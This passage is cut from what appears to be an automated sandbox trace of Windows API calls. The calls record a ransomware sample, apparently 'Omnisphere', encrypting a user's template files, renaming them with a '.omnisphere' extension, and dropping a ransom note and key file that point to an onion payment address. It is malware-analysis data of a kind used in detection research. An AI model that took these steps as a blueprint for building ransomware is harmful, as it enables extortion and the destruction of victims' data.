pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.804] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.823] CryptDestroyKey (hKey=0x1639b28) returned 1 [0117.823] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0117.824] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x78dd2, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0117.824] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0dcd0, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0dcd0*=0x524, lpOverlapped=0x0) returned 1 [0117.824] GetProcessHeap () returned 0x1600000 [0117.824] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b2) returned 0x169e0a8 [0117.824] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx.omnisphere")) returned 1 [0117.915] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.omnisphere.id" [0117.915] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0117.915] WriteFile (in: hFile=0x288, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d758, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0d758*=0x524, lpOverlapped=0x0) returned 1 [0117.917] CloseHandle (hObject=0x288) returned 1 [0117.918] UnmapViewOfFile (lpBaseAddress=0x1700000) returned 1 [0117.920] CloseHandle (hObject=0x28c) returned 1 [0117.920] SetEndOfFile (hFile=0x3a0) returned 1 [0117.920] FlushFileBuffers (hFile=0x3a0) returned 1 [0117.927] CloseHandle (hObject=0x3a0) returned 1 [0117.927] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates") returned 1 [0117.927] GetProcessHeap () returned 0x1600000 [0117.927] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x169e368 [0117.927] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0117.927] GetProcessHeap () returned 0x1600000 [0117.928] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693cb0 [0117.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693cb0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0117.928] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0117.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0117.928] GetProcessHeap () returned 0x1600000 [0117.928] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687568 [0117.928] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687568, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0117.928] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0117.928] GetProcessHeap () returned 0x1600000 [0117.928] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162d398 [0117.928] PathCombineW (in: pszDest=0x162d398, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\!DECRYPT_OMNISPHERE.txt" [0117.928] GetProcessHeap () returned 0x1600000 [0117.928] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x169b780 [0117.928] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.928] WriteFile (in: hFile=0x3a0, lpBuffer=0x169b780*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0dcf0, lpOverlapped=0x0 | out: lpBuffer=0x169b780*, lpNumberOfBytesWritten=0x3e0dcf0*=0x588, lpOverlapped=0x0) returned 1 [0117.928] CloseHandle (hObject=0x3a0) returned 1 [0117.929] GetProcessHeap () returned 0x1600000 [0117.929] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x169e368 | out: hHeap=0x1600000) returned 1 [0117.929] GetProcessHeap () returned 0x1600000 [0117.929] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656e08 [0117.929] PathCombineW (in: pszDest=0x1656e08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\unique_decrypt.key" [0117.929] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0117.929] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0dd04, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0dd04*=0x5a0, lpOverlapped=0x0) returned 1 [0117.929] CloseHandle (hObject=0x3a0) returned 1 [0117.929] GetProcessHeap () returned 0x1600000 [0117.929] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656e08 | out: hHeap=0x1600000) returned 1 [0117.929] GetProcessHeap () returned 0x1600000 [0117.929] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0117.929] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacac166f, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xacac166f, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xd92f3100, ftLastWriteTime.dwHighDateTime=0x1d32689, nFileSizeHigh=0x0, nFileSizeLow=0x78dd2, dwReserved0=0x0, dwReserved1=0xdb, cFileName="Welcome to Excel.xltx", cAlternateFileName="WELCOM~1.XLT")) returned 0 [0117.929] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0117.930] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdbc5f1, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x276178e5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x276178e5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0117.930] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdbc5f1, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x276178e5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x276178e5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0117.930] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2744dd39, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2744dd39, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2763dc65, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0117.930] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacac166f, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xacac166f, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x270ba642, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5d18a, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Cashflow analysis.xltm.omnisphere", cAlternateFileName="CASHFL~1.OMN")) returned 1 [0117.930] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x270ba642, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x270ba642, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x270ba642, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Cashflow analysis.xltm.omnisphere.id", cAlternateFileName="CASHFL~1.ID")) returned 1 [0117.930] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="LiveContent", cAlternateFileName="LIVECO~1")) returned 1 [0117.930] GetProcessHeap () returned 0x1600000 [0117.930] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x8e) returned 0x167b578 [0117.930] PathCombineW (in: pszDest=0x167b578, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates", pszFile="LiveContent" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent" [0117.930] GetProcessHeap () returned 0x1600000 [0117.930] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x165e548 [0117.930] PathCombineW (in: pszDest=0x165e548, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*" [0117.930] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd1, cFileName=".", cAlternateFileName="")) returned 0x1639b68 [0117.930] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd1, cFileName="..", cAlternateFileName="")) returned 1 [0117.930] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd1, cFileName="16", cAlternateFileName="")) returned 1 [0117.930] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd1, cFileName="16", cAlternateFileName="")) returned 0 [0117.930] FindClose (in: hFindFile=0x1639b68 | out: hFindFile=0x1639b68) returned 1 [0117.931] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0117.931] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.931] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0117.931] GetProcessHeap () returned 0x1600000 [0117.931] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x94) returned 0x165e688 [0117.931] PathCombineW (in: pszDest=0x165e688, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent", pszFile="16" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" [0117.931] GetProcessHeap () returned 0x1600000 [0117.931] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x165ecc8 [0117.931] PathCombineW (in: pszDest=0x165ecc8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*" [0117.931] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc5, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0117.931] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc5, cFileName="..", cAlternateFileName="")) returned 1 [0117.931] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc5, cFileName="Managed", cAlternateFileName="")) returned 1 [0117.931] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc5, cFileName="User", cAlternateFileName="")) returned 1 [0117.931] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc5, cFileName="User", cAlternateFileName="")) returned 0 [0117.931] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0117.931] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0117.932] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.932] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Managed", cAlternateFileName="")) returned 1 [0117.932] GetProcessHeap () returned 0x1600000 [0117.932] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162cec8 [0117.932] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", pszFile="Managed" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0117.932] GetProcessHeap () returned 0x1600000 [0117.932] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162e2b8 [0117.932] PathCombineW (in: pszDest=0x162e2b8, 